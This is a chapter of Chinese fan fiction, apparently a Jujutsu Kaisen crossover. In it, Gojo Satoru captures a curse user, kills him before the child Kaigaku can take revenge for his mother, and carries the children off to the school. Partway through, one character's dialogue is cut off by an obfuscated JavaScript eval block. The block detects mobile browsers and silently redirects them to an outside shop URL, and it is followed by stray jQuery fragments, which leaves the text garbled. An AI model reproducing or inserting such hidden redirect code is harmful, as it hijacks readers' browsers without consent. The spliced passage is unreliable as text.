夜晚的街道上行人寥寥,路灯惨白的光照耀着地面,投下一片飞蛾缠绕遮挡着的斑驳漆黑。

    秋天的风已经不再温暖,尤其在太阳落山之后,就连风衣都挡不住夜晚的寒风。

    然而,就在这样萧瑟的一个晚上,一个上身只穿着无袖大背心的男人却大摇大摆地在冷风中穿行,视寒冷的温度于无物。

    “让我看看……是这里吧……”男人从裤兜里掏出折叠手机,按亮屏幕对照着眼前的风景:“嗯,就是这里。好了,我找找……”

    在他身后,一个穿着白大褂的式神戴上听诊器,听诊器的另一头在四周的空气中转着,最终锁定了一个方向。“找到了。”

    男人伸了个懒腰,脚步拖沓地往一栋小型公寓楼走去。

    啪嗒、啪嗒、啪嗒、砰。他踏上最后一截台阶,脚步一拐,拐到了一间公寓门之前。

    “唔,我想想,手术的第一步果然是麻醉吧。”男人抠抠脑袋,身后的式神形象换成了穿绿色手术服带口罩的形象。式神的手中拖着一个管子,将冒出雾气的那头插入了公寓的通风口。

    “吸入式麻醉……那个小孩好像有式神,啊,那就针对式神麻醉好了。”

    “然后,等待两分钟……好了。”式神收回放置在通风口的管子,继续将身上的衣服变换成了护士服,尖锐的针管蓄势待发。

    “等到小孩出来,就第一时间扎针。我真是个好医生。”

    男人哼着歌,等在了房门口。

    “吱扭~”老旧的门把手被压下,房门一点点向外推开。

    来啦来啦~

    男人的眼睛逐渐发出亮光,针管在门被打开的第一时间就戳了过去。在他的视野中,站在门内的小孩看见了他,却没有他料想之中的惊恐,反而是了然与平静——等等,为什么?

    男人来不及思考,正在半空之中即将落在小孩身上的针管突然失控,擦着他的手臂啪嗒落地,接着,他发现自己与式神之间的联系竟然被断开了??

    在千分之一秒内,他转过了脑袋,只来得及看到了白色的头发——接着,他的手臂就被人拽住,瞬间,钻心的疼痛在他的四肢爆发,骨骼被扭曲,肌肉断裂,只有皮还勉强连着,只是他无论如何都使不上力气,狼狈地向前倒下。

    “嗨嗨!这位人渣诅咒师先生,你被佐藤(Sato)警察逮捕了哦~”

    五条悟一脚踩在了诅咒师的后背,“现在!有请我们的另一位警官来对你进行审讯!”

    诅咒师勉强抬头,看向站在他前方的小孩,嘴角轻轻扯动:“啊,是你想问我啊。”

    “好久不见。”狯岳扯了扯嘴角,看向地面上像是烂泥一样趴着的人:“你还记得我吗?”

    “其实之前已经忘记了,毕竟上回见你已经是两年前的事情了。”诅咒师说话的速度有点慢,字节与字节之间黏连,让人听着不适极了。

    “不过,这回来之前,我的雇主又让我回忆了一番我与你的渊源。”

    “想问什么?两年前我带走你的细节?还是那恶心的总监部老东西雇佣我做什么?我都可以告诉你。”

    诅咒师看上去好像一点也不为自己的现状着急,对狯岳这位苦主的问话也丝毫没有狡辩隐瞒的意思,反而积极配合。

    狯岳一把扯住看上去想要扑到诅咒师身上将他撕碎的咒灵,在善逸愤怒又隐藏着担忧的视线中蹲了下来,双眼直视着地上的诅咒师。他问:“那些我都不在乎。我只想问一件事。”

    “那些家伙说我的母亲被诅咒师杀了。他们雇佣去杀我母亲的诅咒师,是不是你?”

    “哦?哈哈哈哈哈!那种老东西恶心的手段被你发现了?你等等,让我想想,嗯……”

    诅咒师似是很苦恼,一只试图用他那扭曲的手挠脑袋:“你的母亲……是黑色齐耳短发、茶色眼睛、带黑框眼镜的那位吗?”

    狯岳神色没有波澜,依旧面无表情。

    “看来不是啊……难道是灰紫色卷发、戴暗金色发圈,穿白色衬衫加半身裙的那位?”

    “唔,这个也不是……”男人挠挠头,又挠挠头,“那你最起码告诉我头发的颜色吧?红色?金色?黑色?白色?这样我很难想啊……”

    男人的手突然顿住,感受着手心里的东西,他的嘴角隐秘地翘了翘,突然恍然大悟道:

    “啊,我想起来了。你的母亲跟你很像呢。”

    男人的笑容恶意满满:“是黑色微卷披肩发,绿色眼睛,一直往警察局跑的那位女士吧?”

    “听说是儿子失踪不见了,我找到她的时候很恍惚呢。很简单就被我杀……呃!!”

    他触发咒物的手指还没来得及蜷缩,一直面无表情的狯岳手中突然出现了一把刀,用最快的速度直直朝着面前男人的心脏插下去!

    然而,他的刀尖还未插入这个令人恶心的男人的皮肤里,一道攻击就在与他手臂极近的位置落了下去。之后,狯岳亲眼看着男人的胸膛像是一张被揉皱的报纸一样瘪了下去,等到他的刀尖插入时,男人已经完全没了气息。

    狯岳的咒具甚至没有碰到男人的心脏。因为早在他落刀之前,那个男人的胸腔就已经被引力揉成了混沌的一团,内脏器官早就被破碎的肋骨扎穿在某个角落了。

    诅咒师也根本没想到会有这样的结局,他最后的表情错愕极了,手指一松,啪嗒一声,手中藏着的咒物落在了地上。

    “呼~赶上啦。”五条悟的声音从狯岳上方传来。“你这样小小的家伙下手可真果断啊,差点就没来得及赶在你之前落下攻击~”

    狯岳错愕地看向白发咒术师,就连插在诅咒师胸口的咒具都忘了拔出:“为什么?”

    为什么要在他之前杀死诅咒师?

    在拜托咒术师帮忙的时候,他就已经决定好了要杀死这个诅咒师。他想过这位咒术师很大可能对他的动手睁一只眼闭一只眼,但现在的情况是他从来没想过的。

    为什么?

    五条悟揉着后脑勺,“唔,应该是我未来的学生说过的话吧。他说,一旦亲手杀了人,生命的重量就会变得模糊,连重要之人的价值都会看不清……大概这样的话。”

    “我倒也不是像蝙蝠侠那样的不杀主义啦。对于杀不杀人这种事我从来都没有过纠结。只不过身边有一个对这种事很看重的家伙,总是纠结着杀或不杀,有或者没有意义这样的事情。”

    “所以。”五条悟长手一探,揉上了狯岳毛茸茸的黑发。对上小孩自己都没发现的湿漉漉的眼神,他笑着说:“我只是希望还是小崽子的你能够有更多的时间决定自己是否选择接受判定一个生命死亡的权力,而不是因为仇恨轻易拿起刀。”

    “等你做好决定的那天,我不会阻止你。”

    “这一次,就先让成熟大人五条悟来为你效劳吧~”

    “怎么样?五条老师是不是很可靠~”

    五条悟那亮闪闪的眼睛再次pikapika发光,狯岳却错开了视线。他撇着嘴说:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726451|206824||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    很烂的理论。只有闲的没事干的人才会去思考杀人和意义的事情。我早就杀过人了。”无论是上辈子还是这辈子。

    “你说那个被咒物反噬的咒术师吗?”五条悟不理小孩的呛声,更加大力地揉弄小孩的头发。“那个不算你杀的啦。顶多算他自食恶果——话说,小朋友,你的真实人设从你的假皮子地下溢出来了喔。好臭的脾气。”

    狯岳意外抬头:“你怎么会知道那件事情?”

    “偶然啦。唔,大概就在你那天和杰分别之后不久,我去找杰吃饭,然后就感应到了咒物爆发的咒力。当时如果我们去得再早些,说不定能提前一个月把你拐到高专呢。”

    咒灵看着揉搓自己师兄脑袋的咒术师,着急又羡慕,一直围着师兄打转。五条悟恶劣地逗弄着咒灵,直到手下的小孩要开始炸毛了,才撤回手,转而捡起诅咒师掉在地下的咒物放在眼前查看:“一次性咒物啊。而且效果超级鸡肋不说,副作用还很大。也是,愿意做哪些超吝啬的总监部大人的走狗的诅咒师会有什么好东西。”

    他随手一丢,将咒物丢到了狯岳手里:“诺,归你了。卖掉能换钱哦。”

    狯岳接到咒物藏在手心。“尸体怎么办?”

    “等我打电话通知附近的辅助监督收场。唔,处理诅咒师也算咒术师的一项工作所以没问题哦!不用担心五条老师被警察叔叔带走哒~”

    白发的咒术师从兜里掏出手机,随后对着手机上亮出的时间惊恐大叫:“啊已经十点了!糟糕啦!五条老师明天上午还要上课!”

    狯岳的嘴角一抽。成熟大人,但是明天还要上课。

    “……现在就走的话,请给我一定的时间收拾家当。还有别忘了惠和津美纪的东西也要收拾。拜托了,可、靠、的、五条大人。”

    …………

    夏油杰看着手机上几个小时前的短信上“今天晚上绝对回来”的信息,又看了看隔壁一点动静都没有的宿舍门,对着已经十点半的时间犹豫了半秒,随后按下了通讯录最上方的号码。

    铃声只响了两下电话就被接通。嘈杂的声音从听筒处传出,“莫西莫西,杰?寂寞了吗?这么晚打电话?”

    伴随着五条悟的话语一同传递的是破空声,让夏油杰嫌弃地将听筒挪远:“悟?你今天晚上还回高专吗?如果实在赶不回来就找个酒店睡下不用回来了。”

    “当然要回来啊。”五条悟那边信号很差,甚至还有小孩子的叫声传入了听筒,让夏油杰疑惑极了:“那你什么时候回来?”

    “五。”

    “五什么?五分钟?五十分钟?”

    “四、三、二……”

    倒计时还没数完,高专的结界警告声就忽然响彻整间学校。

    夏油杰猛然从床上坐起,接着就听到了自己的窗户被从外侧敲响了。

    他定眼一看,窗户外面那个提着三个小孩还拽着一个咒灵,身上被大大小小的东西挂得跟圣诞树一样的,不是他那个在电话里叫嚣着开门的挚友还是谁?

    窗户被从内打开,五条悟的声音从窗外和听筒双声道穿进夏油杰的耳朵里。

    “哈哈哈,杰!我拐小孩回来啦~以后杰就不缺孩子啦~开不开心~”他那白毛挚友笑得灿烂,手上三个孩子也勉强地冲他打招呼。

    拐小孩……拐小孩……小孩……

    “啊啊啊不能偷偷把别人家的小孩抓来高专玩啊啊啊悟你快把他们还回去!!!”

    夏油杰发出尖锐暴鸣。